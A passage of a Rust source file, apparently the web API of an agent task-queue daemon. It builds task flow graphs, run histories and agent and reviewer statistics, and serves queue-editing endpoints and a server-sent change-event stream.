4541 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4542 " It left a pull request open, so the task was held for a person rather than retried."
4543 .to_owned()
4544 } else if matches!(status, RunStatus::VerifiedNoop) {
4545 " Held for a person to check the claim.".to_owned()
4546 } else if last {
4547 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
4548 } else {
4549 " It spent an attempt, and the task moved on to the next run.".to_owned()
4550 };
4551 let exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
4552 TaskRunView {
4553 n,
4554 id: id.to_owned(),
4555 short,
4556 kind,
4557 status: Some(status.as_str()),
4558 readable: true,
4559 provisional,
4560 description,
4561 outcome: format!("{head}{why}"),
4562 created_at: Some(s.created_at),
4563 pr: s.pr.as_ref().map(|p| p.url.clone()),
4564 exit,
4565 attempt: exit.cost(),
4566 branch: branch.map(str::to_owned),
4567 }
4568}
4569
4570#[derive(Debug, Serialize, PartialEq)]
4572struct FlowNode {
4573 key: String,
4575 kind: &'static str,
4577 label: String,
4578 status: Option<&'static str>,
4581 status_of: &'static str,
4584 note: Option<&'static str>,
4586 run_kind: Option<&'static str>,
4587 detail: Option<String>,
4588 decided: bool,
4590 readable: bool,
4591 href: Option<String>,
4592}
4593
4594#[derive(Debug, Serialize, PartialEq)]
4595struct FlowEdge {
4596 from: String,
4597 to: String,
4598 label: String,
4599 attempt: AttemptCost,
4600}
4601
4602#[derive(Debug, Serialize, PartialEq)]
4603struct FlowView {
4604 nodes: Vec<FlowNode>,
4605 edges: Vec<FlowEdge>,
4606 attempts: usize,
4608 max_attempts: usize,
4609}
4610
4611fn task_flow(
4620 task: &Task,
4621 history: &[TaskRunView],
4622 max_attempts: usize,
4623 origin: Option<&FollowUpOrigin>,
4624) -> FlowView {
4625 let node = |key: &str, kind, label: String| FlowNode {
4626 key: key.to_owned(),
4627 kind,
4628 label,
4629 status: None,
4630 status_of: "run",
4631 note: None,
4632 run_kind: None,
4633 detail: None,
4634 decided: false,
4635 readable: true,
4636 href: None,
4637 };
4638 let mut nodes = Vec::new();
4639 let mut edges: Vec<FlowEdge> = Vec::new();
4640 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
4642 let mut n = node(
4643 "chat",
4644 "chat",
4645 format!("Chat {}", crate::queue::short(&link.id)),
4646 );
4647 n.href = Some(link.href);
4648 nodes.push(n);
4649 edges.push(FlowEdge {
4650 from: "chat".to_owned(),
4651 to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
4652 label: "queued from chat".to_owned(),
4653 attempt: AttemptCost::None,
4654 });
4655 }
4656 if let Some(o) = origin {
4657 let mut n = match &o.parent {
4658 Some(p) => {
4659 let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
4660 n.status = Some(p.status);
4661 n.status_of = "task";
4662 n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
4663 n.href = Some(p.href.clone());
4664 n
4665 }
4666 None => {
4667 let mut n = node(
4668 "origin",
4669 "followup",
4670 format!("Follow-up of run {}", o.run.short),
4671 );
4672 n.detail = Some("merged run".to_owned());
4673 n.status = o.run.status;
4674 n.href = o.run.href.clone();
4675 if o.run.href.is_none() {
4676 n.readable = false;
4677 n.note = Some("unreadable");
4678 }
4679 n
4680 }
4681 };
4682 n.decided = true;
4683 let from = n.key.clone();
4684 nodes.push(n);
4685 let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
4686 let more = o.findings.len().saturating_sub(shown.len());
4687 let label = match (shown.is_empty(), more) {
4688 (true, _) => "open findings".to_owned(),
4689 (false, 0) => format!("open findings {}", shown.join(", ")),
4690 (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
4691 };
4692 edges.push(FlowEdge {
4693 from,
4694 to: "start".to_owned(),
4695 label,
4696 attempt: AttemptCost::None,
4697 });
4698 }
4699 nodes.push(node("start", "start", "Task queued".to_owned()));
4700 let mut prev = "start".to_owned();
4701 let mut prev_exit: Option<(RunExit, Option<&str>)> = None;
4702 for (i, h) in history.iter().enumerate() {
4703 let key = format!("run-{}", h.n);
4704 let mut n = node(&key, "run", format!("Run {}", h.short));
4705 n.run_kind = Some(h.kind);
4706 n.readable = h.readable;
4707 n.href = Some(format!("#/runs/{}", h.id));
4708 n.decided = h.readable && !h.provisional;
4709 n.detail = h
4710 .branch
4711 .as_ref()
4712 .map(|b| format!("review-only run of branch {b}"));
4713 match h.exit {
4714 RunExit::Unreadable => n.note = Some("unreadable"),
4715 RunExit::Interrupted => n.note = Some("interrupted"),
4716 _ => {
4717 n.status = h.status;
4718 if h.provisional {
4719 n.note = Some("no verdict");
4720 }
4721 }
4722 }
4723 let into = match h.kind {
4724 "review" => Some(format!(
4725 "review-only run of branch {}",
4726 h.branch.as_deref().unwrap_or("?")
4727 )),
4728 "resume" => Some("resume the same run".to_owned()),
4729 _ if i > 0 => Some("retry".to_owned()),
4730 _ => None,
4731 };
4732 let label = match (prev_exit, into) {
4733 (Some((e, st)), Some(i)) => format!("{} \u{2192} {i}", e.edge_label(st)),
4734 (Some((e, st)), None) => e.edge_label(st),
4735 (None, Some(i)) => i,
4736 (None, None) => "claimed".to_owned(),
4737 };
4738 edges.push(FlowEdge {
4739 from: prev.clone(),
4740 to: key.clone(),
4741 label,
4742 attempt: prev_exit.map_or(AttemptCost::None, |(e, _)| e.cost()),
4743 });
4744 prev_exit = Some((h.exit, h.status));
4745 prev = key;
4746 nodes.push(n);
4747 }
4748 let mut end = node("end", "end", task.status.as_str().to_owned());
4749 end.status = Some(task.status.as_str());
4750 end.status_of = "task";
4751 nodes.push(end);
4752 let (label, attempt) = match prev_exit {
4753 None => (
4754 format!("no run yet \u{2192} {}", task.status.as_str()),
4755 AttemptCost::None,
4756 ),
4757 Some((e, st)) if e.explains(task.status) => (
4758 format!("{} \u{2192} {}", e.edge_label(st), task.status.as_str()),
4759 e.cost(),
4760 ),
4761 Some((e, _)) => (
4762 format!("closed by hand: task is {}", task.status.as_str()),
4763 e.cost(),
4764 ),
4765 };
4766 edges.push(FlowEdge {
4767 from: prev,
4768 to: "end".to_owned(),
4769 label,
4770 attempt,
4771 });
4772 FlowView {
4773 nodes,
4774 edges,
4775 attempts: task.attempts,
4776 max_attempts,
4777 }
4778}
4779
4780fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
4783 let mut history = Vec::with_capacity(task.runs.len());
4784 let mut seen: Vec<&str> = Vec::new();
4785 let mut prior: Option<(&str, RunStatus)> = None;
4786 for (i, run_id) in task.runs.iter().enumerate() {
4787 let state = read(run_id);
4788 let resumed = seen.contains(&run_id.as_str());
4789 seen.push(run_id);
4790 history.push(task_run_view(
4791 run_id,
4792 state.as_ref(),
4793 RunSlot {
4794 n: i + 1,
4795 resumed,
4796 resumed_later: task.runs[i + 1..]
4797 .iter()
4798 .position(|r| r == run_id)
4799 .map(|off| i + off + 2),
4800 prior,
4801 last: i + 1 == task.runs.len(),
4802 },
4803 task,
4804 ));
4805 if let Some(s) = &state {
4806 prior = Some((run::short_of(run_id), s.status));
4807 }
4808 }
4809 history
4810}
4811
4812async fn task_detail(
4813 State(ui): State<Arc<Ui>>,
4814 Path(id): Path<String>,
4815) -> ApiResult<Json<TaskDetailView>> {
4816 blocking(move || {
4817 let id = resolve_task(&ui.queue, &id)?;
4818 let task = ui
4819 .queue
4820 .get(&id)
4821 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
4822 let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
4823 let history = task_history(&task, |id| read_run(&ui.runs, id).ok());
4824 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
4825 let max_attempts = daemon::Opts::default().max_attempts;
4826 let origin = task.followup.as_ref().map(|fu| {
4827 followup_origin(
4828 fu,
4829 |tid| ui.queue.get(tid).ok(),
4830 |rid| read_run(&ui.runs, rid).ok(),
4831 )
4832 });
4833 let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
4834 Ok(Json(TaskDetailView {
4835 max_attempts,
4836 flow,
4837 followup_origin: origin,
4838 history,
4839 runs_unreadable,
4840 attempts_note: ATTEMPTS_NOTE,
4841 task: TaskView::with_inventory(task, &inv),
4842 }))
4843 })
4844 .await
4845}
4846
4847#[derive(Debug, Serialize)]
4851struct RateView {
4852 pct: f64,
4853 denominator: usize,
4854}
4855
4856impl RateView {
4857 fn of(numerator: usize, denominator: usize) -> Option<Self> {
4858 (denominator > 0).then(|| Self {
4859 pct: 100.0 * numerator as f64 / denominator as f64,
4860 denominator,
4861 })
4862 }
4863}
4864
4865#[derive(Debug, Serialize)]
4870struct StatsTotalsView {
4871 runs: usize,
4872 merged: usize,
4873 ready: usize,
4874 blocked: usize,
4875 failed: usize,
4876 stalled: usize,
4877 verified_noop: usize,
4878 superseded: usize,
4879 in_progress: usize,
4880 completion_rate: Option<RateView>,
4881 tallied: usize,
4882 split: usize,
4883 split_rate: Option<RateView>,
4884 deliberated: usize,
4885 minds_changed: usize,
4886 converged: usize,
4887 review_rounds: usize,
4888}
4889
4890impl From<&stats::Totals> for StatsTotalsView {
4891 fn from(t: &stats::Totals) -> Self {
4892 Self {
4893 runs: t.runs,
4894 merged: t.merged,
4895 ready: t.ready,
4896 blocked: t.blocked,
4897 failed: t.failed,
4898 stalled: t.stalled,
4899 verified_noop: t.verified_noop,
4900 superseded: t.superseded,
4901 in_progress: t.in_progress,
4902 completion_rate: RateView::of(t.merged + t.ready, t.runs),
4903 tallied: t.tallied,
4904 split: t.split,
4905 split_rate: RateView::of(t.split, t.tallied),
4906 deliberated: t.deliberated,
4907 minds_changed: t.minds_changed,
4908 converged: t.converged,
4909 review_rounds: t.review_rounds,
4910 }
4911 }
4912}
4913
4914#[derive(Debug, Serialize)]
4916struct AgentStatsView {
4917 agent: String,
4918 entered: usize,
4919 wins: usize,
4920 empty: usize,
4921 win_rate: Option<RateView>,
4922}
4923
4924impl From<&stats::AgentStats> for AgentStatsView {
4925 fn from(a: &stats::AgentStats) -> Self {
4926 Self {
4927 agent: a.agent.clone(),
4928 entered: a.entered,
4929 wins: a.wins,
4930 empty: a.empty,
4931 win_rate: RateView::of(a.wins, a.entered),
4932 }
4933 }
4934}
4935
4936#[derive(Debug, Serialize)]
4940struct ReviewerStatsView {
4941 agent: String,
4942 rounds: usize,
4943 seated: usize,
4944 submitted: usize,
4945 adopted: usize,
4946 unique: usize,
4947 timeouts: usize,
4948 adopted_per_round: Option<f64>,
4949 precision: Option<RateView>,
4950 unique_rate: Option<RateView>,
4951 timeout_rate: Option<RateView>,
4952}
4953
4954impl From<&stats::ReviewerStats> for ReviewerStatsView {
4955 fn from(r: &stats::ReviewerStats) -> Self {
4956 Self {
4957 agent: r.agent.clone(),
4958 rounds: r.rounds,
4959 seated: r.seated,
4960 submitted: r.submitted,
4961 adopted: r.adopted,
4962 unique: r.unique,
4963 timeouts: r.timeouts,
4964 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
4965 precision: RateView::of(r.adopted, r.submitted),
4966 unique_rate: RateView::of(r.unique, r.submitted),
4967 timeout_rate: RateView::of(r.timeouts, r.seated),
4968 }
4969 }
4970}
4971
4972#[derive(Debug, Serialize)]
4978struct AdvisorStatsView {
4979 agent: String,
4980 seated: usize,
4981 proposed: usize,
4982 absent: usize,
4983 faint: usize,
4984 strong: usize,
4985 reflection_rate: Option<RateView>,
4986}
4987
4988impl From<&stats::AdvisorStats> for AdvisorStatsView {
4989 fn from(a: &stats::AdvisorStats) -> Self {
4990 Self {
4991 agent: a.agent.clone(),
4992 seated: a.seated,
4993 proposed: a.proposed,
4994 absent: a.absent,
4995 faint: a.faint,
4996 strong: a.strong,
4997 reflection_rate: RateView::of(a.strong, a.proposed),
4998 }
4999 }
5000}
5001
5002#[derive(Debug, Serialize)]
5004struct E2eStatsView {
5005 rounds: usize,
5006 failures: usize,
5007 sole_detections: usize,
5008 deferred: usize,
5009 sole_rate: Option<RateView>,
5010}
5011
5012impl From<&stats::E2eStats> for E2eStatsView {
5013 fn from(e: &stats::E2eStats) -> Self {
5014 Self {
5015 rounds: e.rounds,
5016 failures: e.failures,
5017 sole_detections: e.sole_detections,
5018 deferred: e.deferred,
5019 sole_rate: RateView::of(e.sole_detections, e.failures),
5020 }
5021 }
5022}
5023
5024#[derive(Debug, Serialize)]
5032struct ReleaseBumpStatsView {
5033 merged: usize,
5034 recorded: usize,
5035 pr_opened: usize,
5036 automerge_enabled: usize,
5037 merged_directly: usize,
5038 needs_attention: usize,
5039 clean: usize,
5040 coverage_rate: Option<RateView>,
5041 automerge_rate: Option<RateView>,
5042 attention_rate: Option<RateView>,
5043}
5044
5045impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
5046 fn from(b: &stats::ReleaseBumpStats) -> Self {
5047 Self {
5048 merged: b.merged,
5049 recorded: b.recorded,
5050 pr_opened: b.pr_opened,
5051 automerge_enabled: b.automerge_enabled,
5052 merged_directly: b.merged_directly,
5053 needs_attention: b.needs_attention,
5054 clean: b.clean(),
5055 coverage_rate: RateView::of(b.recorded, b.merged),
5056 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
5057 attention_rate: RateView::of(b.needs_attention, b.recorded),
5058 }
5059 }
5060}
5061
5062#[derive(Debug, Serialize)]
5064struct TaskCountsView {
5065 queued: usize,
5066 running: usize,
5067 done: usize,
5068 failed: usize,
5069 held: usize,
5070 blocked: usize,
5071 parked: usize,
5072}
5073
5074impl From<crate::queue::TaskCounts> for TaskCountsView {
5075 fn from(c: crate::queue::TaskCounts) -> Self {
5076 Self {
5077 queued: c.queued,
5078 running: c.running,
5079 done: c.done,
5080 failed: c.failed,
5081 held: c.held,
5082 blocked: c.blocked,
5083 parked: c.parked,
5084 }
5085 }
5086}
5087
5088#[derive(Debug, Serialize)]
5094struct RepoSummaryView {
5095 repo: String,
5098 name: String,
5100 runs: usize,
5101 completion_rate: Option<RateView>,
5102}
5103
5104impl From<&stats::RepoStats> for RepoSummaryView {
5105 fn from(r: &stats::RepoStats) -> Self {
5106 let t = &r.stats.totals;
5107 Self {
5108 repo: r.repo.to_string_lossy().into_owned(),
5109 name: r.name.clone(),
5110 runs: t.runs,
5111 completion_rate: RateView::of(t.merged + t.ready, t.runs),
5112 }
5113 }
5114}
5115
5116#[derive(Debug, Serialize)]
5122struct StatsView {
5123 totals: StatsTotalsView,
5124 agents: Vec<AgentStatsView>,
5126 reviewers: Vec<ReviewerStatsView>,
5128 advisors: Vec<AdvisorStatsView>,
5130 e2e: E2eStatsView,
5131 release_bumps: ReleaseBumpStatsView,
5132 queue: TaskCountsView,
5133 runs_unreadable: usize,
5143 repos: Vec<RepoSummaryView>,
5147 daily: Vec<DailyStatsView>,
5152 repo: Option<String>,
5156 retired_hidden: Vec<String>,
5160}
5161
5162#[derive(Debug, Serialize)]
5164struct DailyStatsView {
5165 date: String,
5167 runs: usize,
5168 merged: usize,
5169 ready: usize,
5170 other: usize,
5171 completion_rate: Option<RateView>,
5173}
5174
5175impl From<&stats::DayBucket> for DailyStatsView {
5176 fn from(b: &stats::DayBucket) -> Self {
5177 Self {
5178 date: b.date.to_string(),
5179 runs: b.runs,
5180 merged: b.merged,
5181 ready: b.ready,
5182 other: b.other,
5183 completion_rate: RateView::of(b.merged + b.ready, b.runs),
5184 }
5185 }
5186}
5187
5188const STATS_DAILY_DAYS: usize = 30;
5190
5191#[derive(Debug, Default, Deserialize)]
5200#[serde(default)]
5201struct StatsQuery {
5202 repo: Option<String>,
5203 all: bool,
5205}
5206
5207async fn stats_get(
5214 State(ui): State<Arc<Ui>>,
5215 Query(q): Query<StatsQuery>,
5216) -> ApiResult<Json<StatsView>> {
5217 blocking(move || {
5218 let states: Vec<RunState> = run_ids(&ui.runs)
5219 .into_iter()
5220 .filter_map(|id| read_run(&ui.runs, &id).ok())
5221 .collect();
5222 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
5223 .iter()
5224 .map(RepoSummaryView::from)
5225 .collect();
5226 let mut scoped: Vec<&RunState> = states.iter().collect();
5227 let mut collected = match &q.repo {
5228 Some(repo) => {
5229 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
5230 if filtered.is_empty() {
5231 return Err(ApiError::not_found(format!(
5232 "no runs recorded against repo `{repo}`"
5233 )));
5234 }
5235 scoped = filtered.clone();
5236 stats::collect_refs(filtered)
5237 }
5238 None => stats::collect(&states),
5239 };
5240 if !q.all {
5241 let repo = q
5242 .repo
5243 .as_deref()
5244 .map_or_else(|| ui.repo.clone(), PathBuf::from);
5245 stats::retain_current_roster(&mut collected, &repo);
5246 }
5247 let daily = stats::daily(
5248 scoped,
5249 jiff::Zoned::now().date(),
5250 &jiff::tz::TimeZone::system(),
5251 STATS_DAILY_DAYS,
5252 );
5253 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
5254 Ok(Json(StatsView {
5255 totals: StatsTotalsView::from(&collected.totals),
5256 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
5257 reviewers: collected
5258 .reviewers
5259 .iter()
5260 .map(ReviewerStatsView::from)
5261 .collect(),
5262 advisors: collected
5263 .advisors
5264 .iter()
5265 .map(AdvisorStatsView::from)
5266 .collect(),
5267 e2e: E2eStatsView::from(&collected.e2e),
5268 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
5269 queue: TaskCountsView::from(queue_counts),
5270 runs_unreadable: runs_unreadable(&ui.runs),
5271 repos,
5272 daily: daily.iter().map(DailyStatsView::from).collect(),
5273 repo: q.repo.clone(),
5274 retired_hidden: collected.retired_hidden.clone(),
5275 }))
5276 })
5277 .await
5278}
5279
5280#[derive(Debug, Default, Deserialize)]
5283#[serde(default, deny_unknown_fields)]
5284struct HoldBody {
5285 reason: Option<String>,
5286}
5287
5288async fn queue_hold(
5289 State(ui): State<Arc<Ui>>,
5290 Path(id): Path<String>,
5291 body: std::result::Result<Json<HoldBody>, JsonRejection>,
5292) -> ApiResult<Json<TaskView>> {
5293 let body = match body {
5297 Ok(Json(body)) => body,
5298 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
5299 Err(e) => return Err(ApiError::bad_request(e.body_text())),
5300 };
5301 let reason = body.reason.filter(|r| !r.trim().is_empty());
5302 mutate(ui, id, move |t| {
5303 t.hold_manual(reason.clone());
5304 Ok(())
5305 })
5306 .await
5307}
5308
5309async fn queue_release(
5310 State(ui): State<Arc<Ui>>,
5311 Path(id): Path<String>,
5312) -> ApiResult<Json<TaskView>> {
5313 mutate(ui, id, |t| {
5314 t.release();
5315 Ok(())
5316 })
5317 .await
5318}
5319
5320#[derive(Debug, Deserialize)]
5322#[serde(deny_unknown_fields)]
5323struct PriorityBody {
5324 priority: i32,
5325}
5326
5327async fn queue_priority(
5333 State(ui): State<Arc<Ui>>,
5334 Path(id): Path<String>,
5335 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
5336) -> ApiResult<Json<TaskView>> {
5337 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5338 mutate(ui, id, move |t| t.set_priority(body.priority)).await
5339}
5340
5341#[derive(Debug, Deserialize)]
5343#[serde(deny_unknown_fields)]
5344struct EditBody {
5345 title: String,
5346 instruction: String,
5347 #[serde(default)]
5350 force: bool,
5351}
5352
5353async fn queue_edit(
5357 State(ui): State<Arc<Ui>>,
5358 Path(id): Path<String>,
5359 body: std::result::Result<Json<EditBody>, JsonRejection>,
5360) -> ApiResult<Json<TaskView>> {
5361 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5362 let mut judged: Option<(String, PathBuf)> = None;
5366 if !body.force {
5367 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
5368 let (id, text) = (id.clone(), body.instruction.clone());
5369 let (seen, hits) = blocking(move || {
5370 let id = resolve_task(&queue, &id)?;
5371 let t = queue.get(&id)?;
5372 if text == t.instruction {
5373 return Ok((None, Vec::new()));
5374 }
5375 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
5376 Ok((Some((t.instruction, t.repo)), hits))
5377 })
5378 .await?;
5379 if let Some((_, repo)) = &seen {
5380 let cfg = crate::config::Config::discover(repo, None)
5381 .ok()
5382 .map(|(c, _)| c);
5383 let screened =
5384 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
5385 .await
5386 .map_err(|dup| {
5387 ApiError::conflict(dup.render(
5388 "Nothing was saved. If it is not a duplicate, repeat the request \
5389 with \"force\": true.",
5390 ))
5391 })?;
5392 if let crate::dupes::Screened::Unjudged(why) = screened {
5393 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
5394 }
5395 }
5396 judged = seen;
5397 }
5398 let force = body.force;
5399 mutate(ui, id, move |t| {
5400 if !force && body.instruction != t.instruction {
5401 match &judged {
5402 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
5403 _ => {
5404 anyhow::bail!("the task changed while it was being checked; repeat the request")
5405 }
5406 }
5407 }
5408 t.edit(body.title.clone(), body.instruction.clone())
5409 })
5410 .await
5411}
5412
5413async fn queue_done(
5421 State(ui): State<Arc<Ui>>,
5422 Path(id): Path<String>,
5423) -> ApiResult<Json<TaskView>> {
5424 let home = ui.home.clone();
5425 mutate(ui, id, move |t| {
5426 t.succeed();
5427 crate::daemon::supersede_prior_runs(t, &home);
5435 Ok(())
5436 })
5437 .await
5438}
5439
5440async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
5448 blocking(move || {
5449 let id = resolve_task(&ui.queue, &id)?;
5450 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
5451 ui.queue
5452 .remove(&id, in_flight, &ui.questions)
5453 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
5454 Ok(StatusCode::NO_CONTENT)
5455 })
5456 .await
5457}
5458
5459async fn mutate(
5468 ui: Arc<Ui>,
5469 id: String,
5470 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
5471) -> ApiResult<Json<TaskView>> {
5472 blocking(move || {
5473 let id = resolve_task(&ui.queue, &id)?;
5474 let _claim = ui.queue.claim(&id).map_err(|e| {
5479 ApiError::conflict(format!(
5480 "{e:#} - a daemon is running this task, so it cannot be \
5481 changed from here yet"
5482 ))
5483 })?;
5484 let mut task = ui.queue.get(&id)?;
5485 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
5486 Ok(dup) => ApiError::conflict(dup.render(
5487 "Nothing was saved. If it is not a duplicate, repeat the request with \
5488 \"force\": true.",
5489 )),
5490 Err(e) => ApiError::bad_request_from(e),
5491 })?;
5492 ui.queue.put(&mut task)?;
5493 Ok(Json(TaskView::from(task)))
5494 })
5495 .await
5496}
5497
5498async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
5506 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
5507 tokio::spawn(async move {
5508 let mut ticker = tokio::time::interval(POLL);
5509 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
5510 let mut stamps: Option<[Stamps; 3]> = None;
5511 loop {
5512 ticker.tick().await;
5515 let state = Arc::clone(&ui);
5516 let revisions = tokio::task::spawn_blocking(move || {
5517 let stamps = [
5518 store_stamps(state.queue.root(), false),
5519 store_stamps(&state.runs, true),
5520 store_stamps(state.talks.root(), false),
5521 ];
5522 let revisions = (
5523 stamps_revision(&stamps[0]),
5524 stamps_revision(&stamps[1]),
5525 state.questions.revision(),
5526 stamps_revision(&stamps[2]),
5527 state.notices.revision(),
5528 state.lock_loop().rev,
5532 );
5533 (revisions, stamps)
5534 })
5535 .await;
5536 let Ok((revisions, next_stamps)) = revisions else {
5537 break;
5538 };
5539 if last == Some(revisions) {
5540 continue;
5541 }
5542 let mut payload = serde_json::json!({
5543 "queue_rev": revisions.0,
5544 "runs_rev": revisions.1,
5545 "questions_rev": revisions.2,
5546 "talks_rev": revisions.3,
5547 "notifications_rev": revisions.4,
5548 "loop_rev": revisions.5,
5549 });
5550 if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
5551 for (index, (key, rev)) in [
5552 ("queue_delta", base.0),
5553 ("runs_delta", base.1),
5554 ("talks_delta", base.3),
5555 ]
5556 .into_iter()
5557 .enumerate()
5558 {
5559 let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
5560 if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
5562 payload[key] = serde_json::to_value(delta).expect("serializable delta");
5563 }
5564 }
5565 }
5566 last = Some(revisions);
5567 stamps = Some(next_stamps);
5568 let Ok(event) = Event::default().event("change").json_data(payload) else {
5570 break;
5571 };
5572 if tx.send(event).await.is_err() {
5573 break;
5574 }
5575 }
5576 });
5577 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
5578 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
5579}
5580
5581type Stamps = HashMap<String, (u128, u64)>;
5582
5583fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
5585 std::fs::read_dir(root)
5586 .into_iter()
5587 .flatten()
5588 .flatten()
5589 .filter_map(|entry| {
5590 let path = if runs {
5591 entry.path().join("run.json")
5592 } else {
5593 entry.path()
5594 };
5595 if !runs && path.extension().is_none_or(|ext| ext != "json") {
5596 return None;
5597 }
5598 let metadata = path.metadata().ok()?;
5599 let modified = metadata
5600 .modified()
5601 .ok()?
5602 .duration_since(std::time::UNIX_EPOCH)
5603 .ok()?;
5604 let id = if runs {
5605 entry.file_name().to_string_lossy().into_owned()
5606 } else {
5607 path.file_stem()?.to_string_lossy().into_owned()
5608 };
5609 Some((id, (modified.as_nanos(), metadata.len())))
5610 })
5611 .collect()
5612}
5613
5614#[derive(Debug, Serialize)]
5615struct Delta {
5616 base: u64,
5617 changed: Vec<String>,
5618 removed: Vec<String>,
5619}
5620
5621fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
5622 let mut changed: Vec<_> = next
5623 .iter()
5624 .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
5625 .map(|(id, _)| id.clone())
5626 .collect();
5627 let mut removed: Vec<_> = previous
5628 .keys()
5629 .filter(|id| !next.contains_key(*id))
5630 .cloned()
5631 .collect();
5632 changed.sort_unstable();
5633 removed.sort_unstable();
5634 Delta {
5635 base,
5636 changed,
5637 removed,
5638 }
5639}
5640
5641fn runs_revision(runs: &FsPath) -> u64 {
5648 stamps_revision(&store_stamps(runs, true))
5649}
5650
5651fn stamps_revision(stamps: &Stamps) -> u64 {
5655 use std::hash::{Hash as _, Hasher as _};
5656 if stamps.is_empty() {
5657 return 0;
5658 }
5659 let mut entries: Vec<_> = stamps.iter().collect();
5660 entries.sort_unstable();
5661 let mut hasher = std::hash::DefaultHasher::new();
5662 entries.hash(&mut hasher);
5663 hasher.finish().max(1)
5664}
5665
5666fn run_ids(runs: &FsPath) -> Vec<String> {
5672 let mut ids: Vec<String> = std::fs::read_dir(runs)
5673 .into_iter()
5674 .flatten()
5675 .flatten()
5676 .filter(|e| e.path().join("run.json").is_file())
5677 .map(|e| e.file_name().to_string_lossy().into_owned())
5678 .collect();
5679 ids.sort_unstable_by(|a, b| b.cmp(a));
5681 ids
5682}
5683
5684fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
5686 let path = runs.join(id).join("run.json");
5687 let body =
5688 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
5689 let state: RunState =
5690 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
5691 run::migrate_schema(state)
5696}
5697
5698#[must_use]
5706pub fn runs_unreadable(runs: &FsPath) -> usize {
5707 run_ids(runs)
5708 .into_iter()
5709 .filter(|id| read_run(runs, id).is_err())
5710 .count()
5711}
5712
5713fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
5715 if runs.join(id).join("run.json").is_file() {
5716 return Ok(id.to_owned());
5717 }
5718 pick(run_ids(runs), id, "run")
5719}
5720
5721fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
5723 if queue.path_of(id).is_file() {
5724 return Ok(id.to_owned());
5725 }
5726 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
5727}
5728
5729#[derive(Debug, Serialize)]
5740struct QuestionView {
5741 #[serde(flatten)]
5742 question: Question,
5743 detail_md: Vec<md::Node>,
5744 thread_bodies_md: Vec<Vec<md::Node>>,
5746 thread_notes_md: Vec<Option<Vec<md::Node>>>,
5749 waiting_on_agent: bool,
5759 holder: Option<&'static str>,
5763 deputies_enabled: bool,
5767 run_is_task: bool,
5770 origin_chat: Option<String>,
5775 origin_chat_closed: bool,
5777}
5778
5779impl QuestionView {
5780 fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
5784 let base = md::ImageBase::QuestionPanel {
5785 id: question.id.clone(),
5786 };
5787 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
5788 Self {
5789 detail_md: md::to_nodes(&question.detail, &base),
5790 thread_bodies_md: question
5791 .thread
5792 .iter()
5793 .map(|t| md::to_nodes(&t.body, &base))
5794 .collect(),
5795 thread_notes_md: question
5796 .thread
5797 .iter()
5798 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
5799 .collect(),
5800 waiting_on_agent: question.waiting_on_agent(),
5801 holder,
5802 deputies_enabled,
5803 run_is_task: question.run_names_task(),
5804 origin_chat: None,
5805 origin_chat_closed: false,
5806 question,
5807 }
5808 }
5809
5810 fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
5812 let talk = crate::consult::origin_talk(tasks, talks, &self.question);
5813 self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
